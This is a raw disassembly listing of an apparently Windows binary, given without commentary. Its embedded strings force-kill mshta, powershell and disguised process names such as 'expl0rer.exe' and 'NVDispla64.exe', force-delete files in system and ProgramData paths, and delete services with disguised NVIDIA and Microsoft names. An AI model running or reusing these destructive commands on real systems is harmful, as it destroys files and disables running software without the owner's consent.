call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_expl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataexpl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Usersexpl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERexpl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:_RECYCLER_expl0rer.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramDataexpl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Usersexpl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLERexpl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:_RECYCLER_expl0rer.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.mshta.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4046f6
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_mshta.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.powershell.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40478b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_powershell.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Nvdskrais.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404820
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Nvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_SystemBolsNvdskrais.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsSystemBolsNvdskrais.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBolsNvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBols
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBolsNvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBols
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.NVDispla64.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404a11
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_NVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_NctiveStecNVDispla64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_NctiveStecNVDispla64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_NctiveStecNVDispla64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_NctiveStecNVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_NctiveStec
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_NctiveStecNVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_NctiveStecNVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Nvdskrais.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404c38
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Nvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__NVIDIA_windows_dribs_container_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__NVIDIA_windows_dribs_container_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Diskraid.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404d51
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Diskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_SystemBolsDiskraid.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsSystemBolsDiskraid.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBolsDiskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBolsDiskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Sqltem64.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x404ed6
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Sqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerSqltem64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SQL_ServerSqltem64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerSqltem64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerSqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SQL_ServerSqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerSqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Diskraid.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4050c7
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Diskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__dorporati_windows_dribe_diskraid_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__dorporati_windows_dribe_diskraid_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.AppVNice.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4051e0
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_AppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_SystemBolsAppVNice.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsSystemBolsAppVNice.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBolsAppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBolsAppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.Systen64.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405365
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Systen64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SystelAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SystelAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SystelAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SystelAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SystelAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SystelAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.AppVNice.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405556
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_AppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Norporati_Windows_AppVNice_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Norporati_Windows_AppVNice_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40566f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskger.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4056ec
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskger.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskger.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40579f
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskger.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskger.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405882
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskmgzr.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4058ff
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskmgzr.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskmgzr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4059b2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskmgzr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskmgzr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_vget.vbs
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_vget.vbs
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
